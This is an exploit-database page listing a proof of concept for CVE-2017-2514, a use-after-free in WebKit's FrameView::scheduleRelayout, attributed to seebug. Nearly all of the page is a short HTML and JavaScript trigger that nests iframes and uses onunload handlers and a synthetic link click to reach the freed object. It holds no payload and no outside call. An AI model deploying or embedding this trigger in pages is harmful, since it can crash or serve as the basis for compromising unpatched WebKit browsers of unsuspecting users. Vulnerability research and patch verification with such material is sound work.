Sploitus

Exploit for WebKit WebCore::FrameView::scheduleRelayout Use-After-Free

CVE-2017-2514

seebug · 2017-05-26

Exploit Code

MARKDOWN23 lines
## https://sploitus.com/exploit?id=SSV:93144
<body>
<script>

let f = document.body.appendChild(document.createElement('iframe'));
let g = f.contentDocument.body.appendChild(document.createElement('iframe'));
g.contentWindow.onunload = () => {
    g.contentWindow.onunload = null;

    let h = f.contentDocument.body.appendChild(document.createElement('iframe'));
    h.contentWindow.onunload = () => {
        h.contentWindow.onunload = null;

        let a = f.contentDocument.createElement('a');
        a.href = 'about:blank';
        a.click();
    };
};

f.src = 'about:blank';

</script>
</body>